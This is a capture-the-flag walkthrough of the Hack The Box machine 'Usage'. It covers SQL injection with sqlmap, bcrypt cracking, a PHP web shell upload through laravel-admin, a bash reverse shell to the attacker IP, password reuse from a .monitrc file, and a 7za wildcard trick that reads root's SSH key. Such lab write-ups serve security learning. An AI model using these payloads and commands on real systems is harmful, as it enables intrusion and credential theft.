#hackthebox #easy #linux ![[Pasted image 20250823181336.png]] # Information Gathering - Nmap As always, I started with scanning all TCP ports ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -Pn -n --open --min-rate 3000 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 19:03 UTC Nmap scan report for 10.10.11.18 Host is up (0.048s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 17.58 seconds ``` Then run another TCP scan against the open ports found. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -sCV -p 22,80 Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 19:03 UTC Nmap scan report for 10.10.11.18 Host is up (0.047s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA) |_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://usage.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.37 seconds ``` Finally a UDP scan against the top 10 ports ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -sU --top-ports 10 Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 19:04 UTC Nmap scan report for 10.10.11.18 Host is up (0.046s latency). PORT STATE SERVICE 53/udp closed domain 67/udp closed dhcps 123/udp closed ntp 135/udp closed msrpc 137/udp closed netbios-ns 138/udp closed netbios-dgm 161/udp closed snmp 445/udp open|filtered microsoft-ds 631/udp closed ipp 1434/udp closed ms-sql-m Nmap done: 1 IP address (1 host up) scanned in 4.85 seconds ``` --- # Enumeration ##### HTTP - TCP 80 Before opening up the browser and navigating to the target IP address. I mapped the domain we revealed with Nmap and the target IP address inside the `/etc/hosts` file. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ echo '10.10.11.18 usage.htb' | sudo tee -a /etc/hosts [sudo] password for kali: 10.10.11.18 usage.htb ``` `usage.htb` on port 80 looks like this. The page does not contain much except the login form in the center. ![[Pasted image 20250823140946.png]] `admin` button takes us to a subdomain `admin.usage.htb`. Let's map that to the target IP address as well. ![[Pasted image 20250823142539.png]] Then I re-visited the page and this time it showed another login form. ![[Pasted image 20250823142806.png]] I tried a few default credentials and none of them worked. Therefore, I created an account and logged in. ![[Pasted image 20250823141252.png]] I haven't gained much information so far. I tried testing for `SQL injection` on every field I could find. Finally, in `/forget-password` page, I tried appending a single quote next to the email value and the server returned 500. This indicates a potential SQL injection. Every other parameters in different POST requests didn't break like this one. ![[Pasted image 20250823145419.png]] ![[Pasted image 20250823150041.png]] `burp.req` file is as follows: ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ cat burp.req POST /forget-password HTTP/1.1 Host: usage.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 69 Origin: http://usage.htb Connection: keep-alive Referer: http://usage.htb/forget-password Cookie: XSRF-TOKEN=eyJpdiI6IlhoN2lpYXBMa0R2bTY4R2FKYXpmL1E9PSIsInZhbHVlIjoiczVIOUFiaEdRMEZFZXQyWG1nK0ZMVEM2czhFZ09vRHBSaVk2Z0FKellML2IyL2N4c2wxMENReVNYbDFWdTkyaG1xb1NpSGIxNWhkNzgzWjh4d0x4YmxVclBVT0dnYU1hWURqUkpMNTJYNWRabmhicjBNTEFJN3ErT0g4K2dBOEoiLCJtYWMiOiJlNDc2MjQ4NzZkMjdmZjk3OTllZDNjMjI0ZjJlYzdkZjg1MmQ3MjAxZTdhMTMzNGZkYzRhNmMwMGFiOTEyZjhhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ikdya01xSUVGQ1Vtd2tWSjFudlNhVnc9PSIsInZhbHVlIjoiNGhmNm1pTDE3R3ZCVE1rRm9KUkRFY0N5N0w1VjJnbUNzUGJIdnNnSGtPMEVuVWlMZWlBdFQ0NXdsSFBFT0UvZS9qT1MzU09odXR0NTBmOExCRHlBK2t2VWxZMTBMVkkzaTQwcXpIbkdTakd1Nnd6ZzNSeG5uQ3JmTjhOT1JDdzgiLCJtYWMiOiI3YWQ3NGFjZjAzMzFhMmZiOWRmZjg0OGVkZGUwNzFmNzIxOGJlYjFjNDZjOGRlZTk3YjQ0MGY1YWUzMWViZDgyIiwidGFnIjoiIn0%3D Upgrade-Insecure-Requests: 1 Priority: u=0, i _token=hQZYA7RCmUKTJt6DryfEdQaMb7x9xsKlhoDAaHdp&email=wook%40wook.com ``` I ran `sqlmap` ```bash sqlmap -r burp.req --batch ``` However, `sqlmap` says that all parameters are not injectable. That's strange. ```bash [20:02:11] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent' [20:02:11] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 40 times ``` I ran it again but this time customized the options and also specified `email` parameter to be tested. ```bash sqlmap -r burp.req --level 5 --risk 3 --threads 10 -p email --batch ``` With these options, `sqlmap` now was able to identify the injectable point. ```bash POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 739 HTTP(s) requests: --- Parameter: email (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: _token=hQZYA7RCmUKTJt6DryfEdQaMb7x9xsKlhoDAaHdp&[email protected]' AND 8421=(SELECT (CASE WHEN (8421=8421) THEN 8421 ELSE (SELECT 1061 UNION SELECT 4696) END))-- mnJN Type: time-based blind Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK) Payload: _token=hQZYA7RCmUKTJt6DryfEdQaMb7x9xsKlhoDAaHdp&[email protected]' AND 8572=BENCHMARK(5000000,MD5(0x6c704f65))-- oVPg --- [20:19:52] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Nginx 1.18.0 back-end DBMS: MySQL < 5.0.12 [20:19:52] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 348 times [20:19:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/usage.htb' [*] ending @ 20:19:52 /2025-08-23/ ``` `sqlmap -r burp.req --level 5 --risk 3 --threads 10 -p email --batch --dbs` The command above kept returning unusual characters for the database names. It turned out that setting the threads value to 10 was too fast, which caused sqlmap to return incorrect results. ```bash [21:03:49] [INFO] retrieved: __________________ [21:03:49] [WARNING] unexpected HTTP code '503' detected. Will use (extra) validation step in similar cases [21:03:51] [INFO] retrieved: AAA?A??AA??????__? 16/18 (88%) [21:03:51] [WARNING] unexpected HTTP code '302' detected. Will use (extra) validation step in similar cases [21:03:52] [ERROR] invalid character detected. retrying.. [21:03:52] [ERROR] invalid character detected. retrying.. ^C [21:03:53] [INFO] waiting for threads to finish (Ctrl+C was pressed) [21:03:54] [INFO] retrieved: AAA?A??AA??????em? [21:03:54] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 13 times, 503 (Service Unavailable) - 82 times ``` I lowered and set the value to 2 and it returned 3 databases. `usage_blog` is the one I'm interested in. ```bash [21:04:40] [INFO] retrieved: information_schema [21:04:41] [INFO] retrieving the length of query output [21:04:41] [INFO] retrieved: 18 [21:04:56] [INFO] retrieved: performance_schema [21:04:56] [INFO] retrieving the length of query output [21:04:56] [INFO] retrieved: 10 [21:05:06] [INFO] retrieved: usage_blog available databases [3]: [*] information_schema [*] performance_schema [*] usage_blog ``` `sqlmap -r burp.req -p email --batch --level 3 --risk 3 --threads 2 -D usage_blog --tables` returns 15 tables. This would consume a lot of time if we just dump all of them. So I'll dump selectively one by one starting from `admin_users` ```bash Database: usage_blog [15 tables] +------------------------+ | admin_menu | | admin_operation_log | | admin_permissions | | admin_role_menu | | admin_role_permissions | | admin_role_users | | admin_roles | | admin_user_permissions | | admin_users | | blog | | failed_jobs | | migrations | | password_reset_tokens | | personal_access_tokens | | users | +------------------------+ ``` `sqlmap -r burp.req -p email --batch --level 3 --risk 3 --threads 2 -D usage_blog -T admin_users --dump` returns only one entry that's `admin` user. ![[Pasted image 20250823161905.png]] `hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt` I cracked the hash using `hashcat` command above and the password in plaintext is `whatever1` ```bash $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1 Session..........: hashcat Status...........: Cracked Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix)) Hash.Target......: $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH...fUPrL2 Time.Started.....: Sat Aug 23 21:22:48 2025 (24 secs) Time.Estimated...: Sat Aug 23 21:23:12 2025 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 68 H/s (7.44ms) @ Accel:4 Loops:32 Thr:1 Vec:1 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 1600/14344385 (0.01%) Rejected.........: 0/1600 (0.00%) Restore.Point....: 1584/14344385 (0.01%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-1024 Candidate.Engine.: Device Generator Candidates.#1....: alexis1 -> dragon1 Hardware.Mon.#1..: Util: 89% Started: Sat Aug 23 21:22:43 2025 Stopped: Sat Aug 23 21:23:13 2025 ``` # Initial Access - Shell as `dash` I successfully logged into `/admin` as `admin` with the found credentials. At the bottom right, we have a version info `1.8.17`. The `Dependencies` section also reveals the version of `encore/laravel-admin` is `1.8.18`. ![[Pasted image 20250823162505.png]] `laravel-admin` dependency has a known vulnerability: Arbitrary File Upload. ![[Pasted image 20250823164102.png]] ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ cat shell.jpg <?php system($_REQUEST["cmd"]); ?> ``` `shell.jpg` got successfully uploaded. However, in order for us to perform code execution, we need our file extension to be `.php`. ![[Pasted image 20250823164237.png]] I intercepted the request with `Burp` and changed the file extension to `.php` ![[Pasted image 20250823164809.png]] Then I opened the page where the file is stored and appended `?cmd=id` to verify if the code execution is actually working. ![[Pasted image 20250823164954.png]] Now we confirmed command execution is working. I replaced `id` command with a reverse shell payload `bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.9/443+0>%261"` It's URL-encoded as well. ![[Pasted image 20250823165610.png]] It triggered the reverse shell connection and I got the shell as `dash` ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.9] from (UNKNOWN) [10.10.11.18] 45958 bash: cannot set terminal process group (1224): Inappropriate ioctl for device bash: no job control in this shell dash@usage:/var/www/html/project_admin/public/uploads/images$ whoami whoami dash ``` # Privilege Escalation - shell as `xander` I found `user.txt` in `/home/dash`. ```bash dash@usage:/home$ ls dash xander dash@usage:/home$ cd dash dash@usage:~$ ls user.txt dash@usage:~$ cat user.txt 3bb... ``` `ls -la` reveals `.monit*` files. ```bash dash@usage:~$ ls -la total 52 drwxr-x--- 6 dash dash 4096 Aug 23 22:04 . drwxr-xr-x 4 root root 4096 Aug 16 2023 .. lrwxrwxrwx 1 root root 9 Apr 2 2024 .bash_history -> /dev/null -rw-r--r-- 1 dash dash 3771 Jan 6 2022 .bashrc drwx------ 3 dash dash 4096 Aug 7 2023 .cache drwxrwxr-x 4 dash dash 4096 Aug 20 2023 .config drwxrwxr-x 3 dash dash 4096 Aug 7 2023 .local -rw-r--r-- 1 dash dash 32 Oct 26 2023 .monit.id -rw-r--r-- 1 dash dash 5 Aug 23 22:04 .monit.pid -rw------- 1 dash dash 1192 Aug 23 22:01 .monit.state -rwx------ 1 dash dash 707 Oct 26 2023 .monitrc -rw-r--r-- 1 dash dash 807 Jan 6 2022 .profile drwx------ 2 dash dash 4096 Aug 24 2023 .ssh -rw-r----- 1 root dash 33 Aug 23 18:58 user.txt ``` `.monitrc` file contains a password: `3nc0d3d_pa$w0rd` ```bash dash@usage:~$ cat .monitrc #Monitoring Interval in Seconds set daemon 60 #Enable Web Access set httpd port 2812 use address 127.0.0.1 allow admin:3nc0d3d_pa$w0rd #Apache check process apache with pidfile "/var/run/apache2/apache2.pid" if cpu > 80% for 2 cycles then alert #System Monitoring check system usage if memory usage > 80% for 2 cycles then alert if cpu usage (user) > 70% for 2 cycles then alert if cpu usage (system) > 30% then alert if cpu usage (wait) > 20% then alert if loadavg (1min) > 6 for 2 cycles then alert if loadavg (5min) > 4 for 2 cycles then alert if swap usage > 5% then alert check filesystem rootfs with path / if space usage > 80% then alert ``` I wondered if that's the password for `xander` and it is. ```bash dash@usage:~$ su xander Password: xander@usage:/home/dash$ whoami xander ``` # Privilege Escalation - Shell as `root` `sudo -l` reveals user `xander` can run `usage_management` binary with `sudo`. ```bash xander@usage:~$ sudo -l Matching Defaults entries for xander on usage: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User xander may run the following commands on usage: (ALL : ALL) NOPASSWD: /usr/bin/usage_management ``` ```bash xander@usage:~$ ls -l /usr/bin/usage_management -rwxr-xr-x 1 root root 16312 Oct 28 2023 /usr/bin/usage_management ``` It's an `ELF` binary file. ```bash xander@usage:~$ file /usr/bin/usage_management /usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped ``` Running `usage_management` prompts me to choose an option ```bash xander@usage:~$ sudo usage_management Choose an option: 1. Project Backup 2. Backup MySQL data 3. Reset admin password Enter your choice (1/2/3): ``` Option 1 ```bash xander@usage:~$ sudo usage_management Choose an option: 1. Project Backup 2. Backup MySQL data 3. Reset admin password Enter your choice (1/2/3): 1 7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI) Scanning the drive: 2984 folders, 17946 files, 113879129 bytes (109 MiB) Creating archive: /var/backups/project.zip Items to compress: 20930 Files read from disk: 17946 Archive size: 54830136 bytes (53 MiB) Everything is Ok ``` Option 2 and 3 ```bash xander@usage:~$ sudo usage_management Choose an option: 1. Project Backup 2. Backup MySQL data 3. Reset admin password Enter your choice (1/2/3): 2 xander@usage:~$ sudo usage_management Choose an option: 4. Project Backup 5. Backup MySQL data 6. Reset admin password Enter your choice (1/2/3): 3 Password has been reset. ``` `strings` command gives us an idea about how each option works under the hood. I notice `Option 1` is calling `7za` binary and also using `wildcard *` as a parameter which often leads to vulnerabilities. ![[Pasted image 20250823171218.png]] Searching for `7za` on `HackTricks` reveals `7za wildcard exploit`. Here's out the exploit works: If `7za` sees an argument like `@something`, it treats it as a `list file`. That means `@something` -> open the file `something` and interpret each line inside it as a filename. Now when `root` user runs this command: ```bash /usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- * ``` My steps will be: Create a file starting with `@` ```bash touch @wooklist ``` Make a symbolic link called `wooklist` that points to a sensitive file like the private key ```bash ln -s /root/.ssh/id_rsa wooklist ``` When `root` runs the `7za` command, the wildcard expands to include both `@wooklist` and `wooklist`. Because of `@wooklist`, `7za` will try to read `woolist`(which points to the private key) as a list of filenames. ```bash xander@usage:/var/www/html$ touch @wooklist xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa wooklist -rw-rw-r-- 1 xander xander 0 Aug 23 22:41 @wooklist lrwxrwxrwx 1 xander xander 17 Aug 23 22:41 wooklist -> /root/.ssh/id_rsa ``` ```bash xander@usage:/var/www/html$ sudo usage_management Choose an option: 1. Project Backup 2. Backup MySQL data 3. Reset admin password Enter your choice (1/2/3): 1 ``` It returned the ssh private key along with the error messages ![[Pasted image 20250823175108.png]] I can collect all the fragments, remove unnecessary strings, combine them and log into the server as `root` with the private key. My lazy self is going to do that but go to `/root` straight and fetch `root.txt` ```bash xander@usage:/var/www/html$ touch @wooklist xander@usage:/var/www/html$ ln -s /root/root.txt wooklist ``` Got `root.txt` ![[Pasted image 20250823181123.png]]